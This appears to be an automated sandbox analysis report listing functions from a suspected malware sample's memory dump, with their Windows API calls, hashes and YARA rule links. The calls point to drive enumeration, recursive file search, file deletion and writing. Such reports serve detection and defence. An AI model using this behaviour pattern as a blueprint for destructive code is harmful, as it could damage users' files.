Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: ExitFreeLibraryProcess
String ID:
API String ID: 1404682716-0
Opcode ID: 13075f1f07cc84eb7334053c3716d9a8ce4deda8e863971867078cc8782122a9
Instruction ID: 1b03414f8cc1a74ea96aefb4ecc0c7aba41324da9db28816bc81a4039e10204c
Opcode Fuzzy Hash: 13075f1f07cc84eb7334053c3716d9a8ce4deda8e863971867078cc8782122a9
Instruction Fuzzy Hash: D8217F709013418BEB20AF65C6883537BA8AF44315F24447BD844A62DAD3BCCDC0CB9E

Function 0040759C Relevance: 3.1, APIs: 2, Instructions: 62
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404018: CreateMutexA.KERNEL32(00408220,00408206,00408205,?,004075E3,00000000,00000000,004091C8,00000000,0040765C,?,?,?,?,00000000,00000000), ref: 0040402E

GetLastError.KERNEL32(00000000,00000000,004091C8,00000000,0040765C,?,?,?,?,00000000,00000000,?,00408205,00000000,00408220), ref: 004075E5

Part of subcall function 00406D40: GetLogicalDriveStringsA.KERNEL32(00000097,?), ref: 00406D70

ReleaseMutex.KERNEL32(00000000,00000000,00000000,004091C8,00000000,0040765C,?,?,?,?,00000000,00000000,?,00408205,00000000,00408220), ref: 0040763C

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: Mutex$CreateDriveErrorLastLogicalReleaseStrings
String ID:
API String ID: 676290295-0
Opcode ID: cdcb1470080bb45a701c5c04c972e9d7e28c7047e10f86f091181c6736698dbf
Instruction ID: a50fa674edadcb4b051b0a96f5935ee5b8f91fbc0aee7086ed6abe5ddad9c237
Opcode Fuzzy Hash: cdcb1470080bb45a701c5c04c972e9d7e28c7047e10f86f091181c6736698dbf
Instruction Fuzzy Hash: A2110A306446086BD710BBA6CC42B5E7B6CCB81714F5004BBFA017B3C3CA3DAD04816E

Function 004012A0 Relevance: 2.5, APIs: 2, Instructions: 37
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,004015A9), ref: 004012CF
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,004015A9), ref: 004012F6

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 677c0526faf000c49acf14ba7c711909bb3502ece2a084bb3d0e397bba4ce0ca
Instruction ID: 90e8f67b1060bd1251f945ff82b9078c1ba764c12e4cd0c6011b14969f372c3f
Opcode Fuzzy Hash: 677c0526faf000c49acf14ba7c711909bb3502ece2a084bb3d0e397bba4ce0ca
Instruction Fuzzy Hash: 97F02773B006205BEB206A6A4D81B4369C59F59B90F1400BAFB4CFF3D9DA798C0043A9

Function 004079A0 Relevance: 1.6, APIs: 1, Instructions: 86
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404F90: GetWindowsDirectoryA.KERNEL32(?,00000105,00000000,00404FFA,?,?,?,00407EB6,00000000,00408020,?,?,00000000,00000000,?,0040819C), ref: 00404FBE

Part of subcall function 00404B9C: GetFileAttributesA.KERNEL32(00000000,00407EDD,00000000,00408020,?,?,00000000,00000000,?,0040819C,00000000,00408220), ref: 00404BA2

DeleteFileA.KERNEL32(00000000,00000000,00407AC4,?,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00408200,00000000,00408220), ref: 00407A0D

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: File$AttributesDeleteDirectoryWindows
String ID:
API String ID: 3550186980-0
Opcode ID: d6b718a0bc0a077b50806789b3294a7fe34d79c39e50ec302069142a7ff1f9de
Instruction ID: 69b580403c23d9cc841dfa7c227de2d2e2536c961132663fd28ad6461d03daee
Opcode Fuzzy Hash: d6b718a0bc0a077b50806789b3294a7fe34d79c39e50ec302069142a7ff1f9de
Instruction Fuzzy Hash: 91212F70B04109ABDB04FAA5C85279F7B69EB85304F50847EA501BB3C2DF3CEE05976A

Function 00405200 Relevance: 1.6, APIs: 1, Instructions: 56
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405080: FindFirstFileA.KERNEL32(00000000,?,00000000,004051DB,?,?,?,?,0040523E,00000000,00405291,?,?,00000000,00000000,00000000), ref: 0040513B
Part of subcall function 00405080: FindClose.KERNEL32(00000000,00000000,00000010), ref: 004051AB

DeleteFileA.KERNEL32(00000000,00000000,00405291,?,?,00000000,00000000,00000000,00000000,?,00407736,?,?,?,00000000,0040798C), ref: 0040525F

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: FileFind$CloseDeleteFirst
String ID:
API String ID: 3969940835-0
Opcode ID: e026ebaf0e1d79b0f059a930ad63cc8d89117419d6d8721783bf6e24fbc8645a
Instruction ID: 7b79426e1ef5d484ccb35ed710867a40efa654d54104ddfac4c0367765dd07f6
Opcode Fuzzy Hash: e026ebaf0e1d79b0f059a930ad63cc8d89117419d6d8721783bf6e24fbc8645a
Instruction Fuzzy Hash: BF01A174604608AFDB04EBA1CC529AF73ACEF45304F5048BEF901B3281E678AE059E68

Function 00404B68 Relevance: 1.5, APIs: 1, Instructions: 18
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(00408220,80000301,80000301,00000000,80000301,80000301,00000000,00404CB4,00000000,00404CE6), ref: 00404B88

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: eea2c6d1fddd31fd331317c09d3e296815bd40418f117fca415fb9ec57fe0382
Instruction ID: ecc9e2cd6cddaadd7fb33e9927afed1fcbe410aa9616ae81c498ff4a473f225f
Opcode Fuzzy Hash: eea2c6d1fddd31fd331317c09d3e296815bd40418f117fca415fb9ec57fe0382
Instruction Fuzzy Hash: F9C012E15641113EFA0C22587C37FBB128D83D4714C90962EB206A77D1C458280041AC

Function 00404BC4 Relevance: 1.5, APIs: 1, Instructions: 15
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32(00000000,0040A698,?,?,00000000,00000000,?,00404CC7,00000000,00404CE6), ref: 00404BCF

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 07c637d247b66d3b0a9c7b3941f0c52b1614d40a6673a640bb3ecb2c78beae31
Instruction ID: 3ae4d4c2ce5489376b9a0e409b07906e0c93d400668ceedc4e43a286d92feaa2
Opcode Fuzzy Hash: 07c637d247b66d3b0a9c7b3941f0c52b1614d40a6673a640bb3ecb2c78beae31
Instruction Fuzzy Hash: DEC04CA12582083AF51061A29C16F23355CC781799F12456AB704E51D1F096F81000A9

Function 00404BE0 Relevance: 1.5, APIs: 1, Instructions: 15
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNEL32(00000000,0040A698,0000A200,?,00000000,?,?,0040742B), ref: 00404BEA

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 83a29245ac6b35b996f4ce35e430c7ef2da10dd3d2364903d861bf1a917f60bf
Instruction ID: cd8d274a544879f86d75f83ceab2a9824fbef203ff2d66308718860d554d7d3d
Opcode Fuzzy Hash: 83a29245ac6b35b996f4ce35e430c7ef2da10dd3d2364903d861bf1a917f60bf
Instruction Fuzzy Hash: 4EC04CA11582083AF51051A7AC06F233A5CC781698F114436BB08E1581F456F8011079

Function 00404018 Relevance: 1.5, APIs: 1, Instructions: 14
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexA.KERNEL32(00408220,00408206,00408205,?,004075E3,00000000,00000000,004091C8,00000000,0040765C,?,?,?,?,00000000,00000000), ref: 0040402E

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: 21e0619b74412fae9514185c35c6bd95fbb7b52f213a822672066e7264c0ded7
Instruction ID: 31d529539147b31f913da60fb79b32c9d72b995d2910e43382fd7a33128a04fb
Opcode Fuzzy Hash: 21e0619b74412fae9514185c35c6bd95fbb7b52f213a822672066e7264c0ded7
Instruction Fuzzy Hash: 8AC01273150248ABC700EEA9DC05D9B33DC5758609B008825B618D7100C139E5909B64

Function 00404B9C Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000,00407EDD,00000000,00408020,?,?,00000000,00000000,?,0040819C,00000000,00408220), ref: 00404BA2

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 8025a4ee7f9a6a5e32ffee1429e28f2d9b7c921bde027667d06e53d93cfb3014
Instruction ID: b116303671e024f583cda4c1147e2dbfbac77b887c659148fe5224e5fd1b100a
Opcode Fuzzy Hash: 8025a4ee7f9a6a5e32ffee1429e28f2d9b7c921bde027667d06e53d93cfb3014
Instruction Fuzzy Hash: 65A012C682120114CC1071F1220375A0144E4C02CC38448A62350B00C2C83CE501001D

Function 00404CF8 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,00404E3F,00000000,00404E9F,?,?,00000000,00000000,00000000,00000000,?,004076D4,00000000,0040798C,?,0000144A), ref: 00404CF9

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 1dfe280059354c2d3b00f373a1eb4cf2bc4e4ec1fc5d2a6436fb04a1a0edb6b0
Instruction ID: 74a4a45bf51c4893599122cbb6035ce0c32fa2704c567f2e8b32d3ffb48088ed
Opcode Fuzzy Hash: 1dfe280059354c2d3b00f373a1eb4cf2bc4e4ec1fc5d2a6436fb04a1a0edb6b0
Instruction Fuzzy Hash: 66A002C686650749DD1022E56607AAE0249FCD12D8B9D5D665391FA1C2C93CA992902E

Function 00404BB4 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000000,000003E8,00000000,?,00407179,00000000,004071BF,?,00000000), ref: 00404BBC

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 7cf7d094e1152e8ce2a36ef2ea1d814d027d71488bb8302382125c90c8a75838
Instruction ID: 68b303876a78b47fa373b2f01407b4ce5b79aa50a67d4c8f5d0a49418ed6adba
Opcode Fuzzy Hash: 7cf7d094e1152e8ce2a36ef2ea1d814d027d71488bb8302382125c90c8a75838
Instruction Fuzzy Hash: 69A002D85902203AF8182363AC5FF37105C97C0B55FD0855E7351754C164EC6A241039

Function 0040137C Relevance: 1.3, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(FFFFFFFF,00000000,00008000), ref: 004013E0

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: b3f1c77c9a82428dc6568712acca71c6867497a5d50ad774a7e16de62942a854
Instruction ID: f327295f0dbb7d02968337953404c96d08b75f0734ec548ae522820371e35f3d
Opcode Fuzzy Hash: b3f1c77c9a82428dc6568712acca71c6867497a5d50ad774a7e16de62942a854
Instruction Fuzzy Hash: CB21E570608741AFD710DF19C880A5FBBE0EB85720F14C96AE8989B7A5D378E841DB5A

Function 004014C8 Relevance: 1.3, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(00000000,00000000,00004000,?,?,?,00000000,00004003,0040172F), ref: 00401522

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 366ed2c7ca182d6b4595971b05bf8940527af6e3e06c25c2a4c3263d2ce5472b
Instruction ID: c2f9954cc8299db513f2c37eb2bc070e0fd4fafed15322d1c8bcd52f3136bf23
Opcode Fuzzy Hash: 366ed2c7ca182d6b4595971b05bf8940527af6e3e06c25c2a4c3263d2ce5472b
Instruction Fuzzy Hash: E501F7736043006FC3109E28DDC092A77A4EBC5324F15053EDA85AB3A1D73AAC0587A8

Function 00404B90 Relevance: 1.3, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,00404CD0,00000000,00404CE6), ref: 00404B91

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: ef71f196dd3e8bd5321f6bf3e93503307ae4868d30203b0da39ae7c2a7e1010a
Instruction ID: f540dd3953723152695a7cfd94b4b723d26dbf970bde7b3718d3bc06e0259ed2
Opcode Fuzzy Hash: ef71f196dd3e8bd5321f6bf3e93503307ae4868d30203b0da39ae7c2a7e1010a
Instruction Fuzzy Hash:

Function 00407678 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e934c95c731a0fce7bd3b07db8287ea0afcdb1a542c852721e67c4aeb837473
Instruction ID: bad4d56910de55197467fd61e6ec6c56c875cf63360af75c5594bc2395637eb8
Opcode Fuzzy Hash: 9e934c95c731a0fce7bd3b07db8287ea0afcdb1a542c852721e67c4aeb837473
Instruction Fuzzy Hash: 42514170B002199BDF10EB69CC51A9DB7B5EB46308F1084FAA404772D1DA3DAF458E5A

Function 004080E4 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: FileFindModule$CloseFirstHandleName
String ID:
API String ID: 2572062711-0
Opcode ID: 6d70fba820807f475e386924a9e2af15878d2dd69a0bc15187a92624e301fe42
Instruction ID: ce7274d5a0203330cd45a7cf6d0e011d083bf460e717dce8afa0a39e5ced3773
Opcode Fuzzy Hash: 6d70fba820807f475e386924a9e2af15878d2dd69a0bc15187a92624e301fe42
Instruction Fuzzy Hash: D4211E70B142054BEB40B7B6C95279F76A5DB88304F50493FE544BB3C2DA3DAD0586AE

Function 00406E94 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: LocalPathTempTime
String ID:
API String ID: 2118298429-0
Opcode ID: be31c71bef31dcf0d495f0e1e2d88fef08ea193925f7f09ef08642d0a6e869a3
Instruction ID: 68f96da1d51e9565b10b5108b435a8bc67f0bfec9723d228dfcbae9d3fbb17ab
Opcode Fuzzy Hash: be31c71bef31dcf0d495f0e1e2d88fef08ea193925f7f09ef08642d0a6e869a3
Instruction Fuzzy Hash: 4A0175709042099FDB00EFA5DC5159FB7BDFB45300F52857BE414F36C5DB38AA148A69

Function 004070DC Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: FileModuleName
String ID:
API String ID: 514040917-0
Opcode ID: 2f22c95ce754a069faf3e5d71a99af3f29d8e87556c895829c3b73c460f21ff1
Instruction ID: dbacf8f9bda0d2f3624fed2e55e69454661720eb62c3ca271fb24a4619442e3b
Opcode Fuzzy Hash: 2f22c95ce754a069faf3e5d71a99af3f29d8e87556c895829c3b73c460f21ff1
Instruction Fuzzy Hash: 32E09270708304AFE701EB72DC13A19B7ACD78A704FA24877E600AA6D1DA7DAE118519

Non-executed Functions

Function 00403D7D Relevance: 9.0, APIs: 6, Instructions: 41threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00402808: GetKeyboardType.USER32(00000000), ref: 0040280D
Part of subcall function 00402808: GetKeyboardType.USER32(00000001), ref: 00402819

GetCommandLineA.KERNEL32 ref: 00403DE3
GetVersion.KERNEL32 ref: 00403DF7
GetVersion.KERNEL32 ref: 00403E08
GetCurrentThreadId.KERNEL32 ref: 00403E44

Part of subcall function 00402838: RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 0040285A
Part of subcall function 00402838: RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,004028A9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 0040288D
Part of subcall function 00402838: RegCloseKey.ADVAPI32(?,004028B0,00000000,?,00000004,00000000,004028A9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 004028A3

GetThreadLocale.KERNEL32 ref: 00403E24

Part of subcall function 00403CB4: GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,00403D1A), ref: 00403CDA

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: KeyboardLocaleThreadTypeVersion$CloseCommandCurrentInfoLineOpenQueryValue
String ID:
API String ID: 3734044017-0
Opcode ID: 0632ebee869107818fc617476dd3b707cbc1511b343300be66bfea40396029a6
Instruction ID: 4e42c8c4ff7c9e6347351f52ed3844a5f6dcad7449c2d11acc3bcf8107044070
Opcode Fuzzy Hash: 0632ebee869107818fc617476dd3b707cbc1511b343300be66bfea40396029a6
Instruction Fuzzy Hash: 7B016DB180438599E710BF72AA4A3193E64AB11309F10853FA080BA3F3D77D06989B6F

Function 00405634 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,00000000,00408220,00000000,00000000,004052D1,00000000,?,00000000,00000001,00000000,004074FA,00000000,0040758B), ref: 004056D5
FindNextFileA.KERNEL32(00000000,?,00408220,?,00000000,00000000,00408220,00000000,00000000,004052D1,00000000,?,00000000,00000001,00000000,004074FA), ref: 00405737
FindClose.KERNEL32(00000000,00000000,?,00408220,?,00000000,00000000,00408220,00000000,00000000,004052D1,00000000,?,00000000,00000001,00000000), ref: 00405741

Strings

*.*, xrefs: 0040567D

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID: *.*
API String ID: 3541575487-438819550
Opcode ID: 7c3ae3db1d7091c66810d0afebbe5bbb80646222bcf65a163e226210ed7e34e0
Instruction ID: e0bf5d45d2763b4aada85c2368977cee553341535aa4efecd7ed3e039fa03a50
Opcode Fuzzy Hash: 7c3ae3db1d7091c66810d0afebbe5bbb80646222bcf65a163e226210ed7e34e0
Instruction Fuzzy Hash: 513188B53005006BD705BF26998295B3799DFC5328B60847FB904EB2C7EA7DDC018E99

Function 004056A7 Relevance: 4.6, APIs: 3, Instructions: 74fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,00000000,00408220,00000000,00000000,004052D1,00000000,?,00000000,00000001,00000000,004074FA,00000000,0040758B), ref: 004056D5
FindNextFileA.KERNEL32(00000000,?,00408220,?,00000000,00000000,00408220,00000000,00000000,004052D1,00000000,?,00000000,00000001,00000000,004074FA), ref: 00405737
FindClose.KERNEL32(00000000,00000000,?,00408220,?,00000000,00000000,00408220,00000000,00000000,004052D1,00000000,?,00000000,00000001,00000000), ref: 00405741

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 7e704a9b868fdf1e88b7c0ef0153828458dabf46e2b7cce886aa46cd4968a9f2
Instruction ID: f2b03bfa0ad8d059d80b67f6c6517dce38b4ab09ecbfd790616c6b691a452e24
Opcode Fuzzy Hash: 7e704a9b868fdf1e88b7c0ef0153828458dabf46e2b7cce886aa46cd4968a9f2
Instruction Fuzzy Hash: 0E1181B53005006BD605BB269D8296B3759DBC5328B10843FBA04EB2C7DA3DCC029A99

Function 00406D40 Relevance: 3.1, APIs: 2, Instructions: 55COMMON

Download Yara Rule

APIs

GetLogicalDriveStringsA.KERNEL32(00000097,?), ref: 00406D70
GetDriveTypeA.KERNEL32(00000000), ref: 00406D89

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: Drive$LogicalStringsType
String ID:
API String ID: 1630765265-0
Opcode ID: e173af02ca9d9f3ac33bd7cae86aa4c8f38faec1d5ba2bccd9283cb2c0ba3d05
Instruction ID: e1e1b0806745e30ff5eb453561950d2c3ef676df74625b4c39c06a75345551cd
Opcode Fuzzy Hash: e173af02ca9d9f3ac33bd7cae86aa4c8f38faec1d5ba2bccd9283cb2c0ba3d05
Instruction Fuzzy Hash: 301159725181089EE720BE759C52BAA7FADDF45304F4644F7AA0DB32C3D9384D128A28

Function 00403CB4 Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,00403D1A), ref: 00403CDA

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: f7943df5f697ff604979ede478dc829ce2ae39317294e6d377f4d43c8f2bc4e7
Instruction ID: 6d3425cb13dc4e10e5c99e835ecbf0d9b5a709cf75aacf138b47c3a7ed30a7d1
Opcode Fuzzy Hash: f7943df5f697ff604979ede478dc829ce2ae39317294e6d377f4d43c8f2bc4e7
Instruction Fuzzy Hash: DDF0C830904209AFEB04DFA2CC42ADEF77EFB88714F10887AA110675C0EBB82B04C648

Function 004057D8 Relevance: 1.5, APIs: 1, Instructions: 10timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 004057E0

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: LocalTime
String ID:
API String ID: 481472006-0
Opcode ID: 7c7103a78b60b1e57ed44af7b7ea6f275b95f35198deba2e3da0b3ebacb4dc04
Instruction ID: b0c73d71d4f1c0cd7d69287b67f47955239943ce197f7fb6ed2486fd72728d1c
Opcode Fuzzy Hash: 7c7103a78b60b1e57ed44af7b7ea6f275b95f35198deba2e3da0b3ebacb4dc04
Instruction Fuzzy Hash: F2C08C6280490553CA00B724CC0684EB69CAEC0210FC0C9BEA9C8A21F1EB39C72A8787

Function 0040627C Relevance: 25.7, APIs: 17, Instructions: 183windowCOMMON

Download Yara Rule

APIs

GetObjectA.GDI32(?,00000018), ref: 004062C2
CreateCompatibleDC.GDI32(00000000), ref: 004062D7
GetDC.USER32(00000000), ref: 004062E9
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 004062F6
ReleaseDC.USER32(00000000,00000000), ref: 004062FE
SelectObject.GDI32(00000000), ref: 00406307
CreateSolidBrush.GDI32(00000000), ref: 00406320
FillRect.USER32(?,?,00000000), ref: 0040632E
DeleteObject.GDI32(00000000), ref: 00406333
SelectObject.GDI32(?), ref: 00406344
SetDIBits.GDI32(?,?,00000000,?,?,?,00000000), ref: 0040635B
SelectObject.GDI32(00000000,?), ref: 00406371
GetDIBits.GDI32(?,00000000,00000000,?,00000000,?,00000000), ref: 004063E4
CreateDIBSection.GDI32(?,?,00000000,?,00000000,00000000), ref: 0040640F
SelectObject.GDI32(?,00000000), ref: 0040641D
SelectObject.GDI32(?,00000000), ref: 00406435
DeleteDC.GDI32 ref: 00406465

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: Object$Select$Create$BitsCompatibleDelete$BitmapBrushFillRectReleaseSectionSolid
String ID:
API String ID: 3348884779-0
Opcode ID: becf70a625b9a30146d272fd5bbb048cf5534f59ad9606d33f7b6e5dd878182e
Instruction ID: a9e686f7fc2ed882930d99cc47d1dbb646c45f2a2f24960de351e96cc7451368
Opcode Fuzzy Hash: becf70a625b9a30146d272fd5bbb048cf5534f59ad9606d33f7b6e5dd878182e
Instruction Fuzzy Hash: AE5195B1204200AFDB05AF65CC86F2B3AA9EF94314F1145BEBA45BF1D7C639DC618798

Function 00406218 Relevance: 16.6, APIs: 11, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba240bc75a83fef15349861cf5e056242dc807168d5e068429e02be0b81ae198
Instruction ID: ab27ac02cf2ee968932468d3d4c2958694adf508222a5702edd9c4bd71c6629c
Opcode Fuzzy Hash: ba240bc75a83fef15349861cf5e056242dc807168d5e068429e02be0b81ae198
Instruction Fuzzy Hash: A73184B12002006FDB04BF658C85F2A3A69AFD4314F5244BEBA06BF2D7D639DCA1975C

Function 00406638 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 409COMMON

Download Yara Rule

APIs

GetObjectA.GDI32(?,00000018,?), ref: 00406700
GetObjectA.GDI32(00000000,00000018,?), ref: 0040671F
GetObjectA.GDI32(00000000,00000018,?), ref: 00406789
GetObjectA.GDI32(?,00000018,?), ref: 004068BE
CopyImage.USER32(00000000,00000000,?,?,00000000), ref: 00406977
